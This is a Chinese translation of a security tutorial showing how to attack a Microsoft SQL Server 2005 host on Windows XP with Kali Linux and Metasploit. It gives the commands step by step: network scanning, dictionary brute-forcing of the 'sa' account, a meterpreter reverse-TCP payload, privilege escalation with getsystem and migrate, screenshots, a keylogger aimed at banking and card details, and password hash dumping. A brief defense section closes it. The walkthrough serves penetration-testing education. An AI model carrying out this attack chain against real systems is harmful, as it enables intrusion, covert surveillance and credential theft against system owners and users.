從攻擊MS SQL Server到獲得系統(tǒng)訪問權(quán)限
當(dāng)談及SQL服務(wù)器,幾乎所有的系統(tǒng)管理員和數(shù)據(jù)庫管理員都會同意這樣一個觀點:管理員并不都有設(shè)置復(fù)雜密碼的意識。看起來這或許方便技術(shù)支持人員進(jìn)行簡單故障排除,但卻過低評估了它的風(fēng)險性。當(dāng)然這些還不重要,重要的是,它更容易讓攻擊者攻擊系統(tǒng)。
在這次攻擊中,我們將使用到的是Linux Kali和預(yù)裝了的Metasploit框架,我們的目標(biāo)計算機(jī)是一臺運(yùn)行有Microsoft SQL Server 2005的Windows XP系統(tǒng)計算機(jī)。當(dāng)然,同樣的攻擊也可以在任何MS SQL平臺和Windows操作系統(tǒng)下進(jìn)行,因為在這里系統(tǒng)的弱點是密碼的強(qiáng)度,而不是環(huán)境本身。
探測
如同所有的攻擊一樣,首先我們要對目標(biāo)計算機(jī)的系統(tǒng)信息等進(jìn)行收集。
我們的選擇的是使用nmap工具來掃描某一個IP范圍的SQL的通用端口(1433)。
命令:
NMAP-ST-A-PO 192.168.23.0/24
Metasploit也內(nèi)置了mssql_ping掃描,可以在一個特定的IP范圍識別任何微軟的SQL服務(wù)。
命令:
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS 192.168.23.0/24 (我們目標(biāo)的IP段)
set THREADS 8
run
現(xiàn)在,我們已經(jīng)知道我們的目標(biāo)系統(tǒng)(192.168.23.100),以及Microsoft SQL Server(版本2005 SP4,TCP端口1433)等一些細(xì)節(jié),我們可以繼續(xù)進(jìn)行下一個步驟。
攻擊
這次攻擊是基于一個簡單的原理。在大多數(shù)情況下,微軟的SQL服務(wù)器將被安裝在一個混合模式下。它的默認(rèn)用戶是“sa”,很多時候?qū)τ谀J(rèn)用戶只有一個簡單的密碼。這意味著它會比較容易進(jìn)行暴力破解得到密碼,使用字典文件。這些字典文件可以從網(wǎng)上下載或自己生成。生成定制字典的好處是,允許手動添加特定的術(shù)語和字段,比如在安裝應(yīng)用程序是可能使用軟相關(guān)件名稱或銷售商作為密碼。例如,Sandstone的數(shù)據(jù)庫密碼就很可能是像“Sandstone01”這樣的字段。
對于攻擊,我們將使用內(nèi)置的工具M(jìn)SSQL_Login。指定目標(biāo)和密碼文件之后,攻擊就開始了。
命令:
use auxiliary/scanner/mssql/mssql_login
Set PASS_FILE /root/passwords.txt (字典文件)
Set RHOSTS 192.168.23.100
Set Threads 8
Set verbose false
run
如果如果這一步攻擊成功就可以獲取到“SA”的密碼。此間價值還用在多說什么,允許數(shù)據(jù)庫操有木有!但是,在這次攻擊中,我們將使用SA帳戶來訪問底層的Windows操作系統(tǒng)。
開發(fā)
現(xiàn)在我們可以用這個SA密碼與我們的目標(biāo)計算機(jī)建立聯(lián)系。Kali Linux內(nèi)置有一個名為mssql_payload的工具。這個工具將允許我們通過端口1433發(fā)送我們新的登陸憑據(jù)的有效載荷。在這里我們就是基于此攻擊目標(biāo)與我們之間的會話的。
命令:
use exploit/windows/mssql/mssql_payload
set RHOST 192.168.23.100 (我們的目標(biāo))
set password Password01 (我們剛剛獲取的密碼)
use payload/windows/meterpreter/reverse_tcp(our selected payload)
exploit
現(xiàn)在,有趣的事情開始。我們已經(jīng)打開了目標(biāo)會話,從這里我們可以進(jìn)行很多命令了。但要小心,別手抖。當(dāng)我們將Meterpreter文件安裝到目標(biāo)計算機(jī)的時候,很多病毒防御程序會對其進(jìn)行檢測、攔截和并刪除處理。從以往的經(jīng)驗來看,我想說許多SQL服務(wù)器管理員都會禁止使用任掃描中任何的訪問形式,從而可以獲得最大的性能由服務(wù)器托管數(shù)據(jù)庫。如果該目標(biāo)計算機(jī)一直在在運(yùn)行,例如,一個通宵的病毒掃描,它會留給攻擊者充足的時間來進(jìn)行攻擊和收集系統(tǒng)數(shù)據(jù),然后從容離開,深藏功與名。
除了使用的Meterpreter有效載荷,其他的有效載荷也可以使用。這里的執(zhí)行命令如上述相類,只是改變有效負(fù)載名稱的問題而已。比如,有效載荷“generic/shell_bind_tcp”,將在命令提示符下訪問目標(biāo)系統(tǒng)。
提權(quán)
對于很多命令來說,我們需要提升我們用戶的訪問權(quán)限。比如使用截取屏幕工具、鍵盤記錄工具和提取密碼哈希值工具等都需要管理員權(quán)限來運(yùn)行。
在這里我們使用了簡單的Meterpreter shell。首先,我們使用ps命令生成一系列進(jìn)程。然后,我們可以使用migrate命令將一個進(jìn)程提升至更高系統(tǒng)訪問許可。在這種情況下,這將好比是explorer.exe進(jìn)程。
現(xiàn)在有我們需要使用一個額外的命令:getsystem。這將使Meterpreter系統(tǒng)的migrate命令得以實現(xiàn)。如果沒有這一點,“權(quán)限不足”,進(jìn)程提升將不能進(jìn)行。
命令:
Ps(這將顯示正在運(yùn)行的進(jìn)程及其相應(yīng)的PID的)
Getsystem(獲得系統(tǒng)權(quán)限)
Migrate 1064(在該例子中的explorer.exePID)
數(shù)據(jù)收集
現(xiàn)在,我們有了完整的系統(tǒng)訪問權(quán)想,我們可以使用一些其他的工具來收集我們所需要的數(shù)據(jù)。
命令:
Screenshot
在這里將創(chuàng)建目標(biāo)的截圖,然后以jpeg格式保存。
命令:
Run post/windows/capture/keylog_recorder
這將在目標(biāo)上運(yùn)行一個鍵盤記錄工具和將鍵盤記錄重新編碼的保存在系統(tǒng)中的文本文件中。鍵盤記錄可以獲取獲取網(wǎng)頁的登錄信息,銀行帳戶和信用卡信息等。盡管此間有反病毒防御程序,但是,依舊可以輕松地拿到這個鍵盤記錄。
命令:
Migrate 772(Services.exe的PID)
Run post/windows/gather/hashdump
在一個系統(tǒng)中用戶口令通常存儲hash值中,可以通過純碎的暴力破解或是字典、彩虹表等方式進(jìn)行破解。此處作者為自己之前的一篇相關(guān)文章打了廣告——
http://resources.infosecinstitute.com/password-auditing-on-active-directory-databases/
為了獲得目標(biāo)系統(tǒng)的hash值,我們需要提升services.exe進(jìn)程,以便能夠獲得足夠的系統(tǒng)的訪問權(quán)限。
這些hash值可以用許多暴力破解工具,比如Ophcrack的和Hashcat。
結(jié)果
在以上幾個簡單步驟中,我們可以看到我們已經(jīng)可以通過使用一個開放的SQL Server端口繞過任何防火墻,不僅獲得了完整的數(shù)據(jù)庫訪問權(quán)限,并據(jù)此進(jìn)一步獲得完整的操作系統(tǒng)訪問權(quán)限。該鍵盤記錄和提取hash值還可能收集更多有用的網(wǎng)絡(luò)的詳細(xì)信息,如用戶名和密碼,以及很可能獲得進(jìn)一步訪問其他系統(tǒng)的信息。
如何抵御這種攻擊
有幾個建議可以保護(hù)系統(tǒng)免受這種攻擊。首先,使用“正確”的密碼!不管出于什么原因,一個SQL服務(wù)器的SA的密碼,不應(yīng)該可以不用花多大精力就可以暴力破解的。此外,安裝一個入侵檢測系統(tǒng)或者干脆自動或手動監(jiān)控日志,這樣可以根據(jù)大量的失敗登陸日志檢測出暴力攻擊。另一個方法就是在系統(tǒng)運(yùn)行一個病毒防御軟件。在這個例子中,有效載荷會在攻擊之前被偵測到并刪除或隔離。
原文地址:http://resources.infosecinstitute.com/attacking-ms-sql-server-gain-system-access/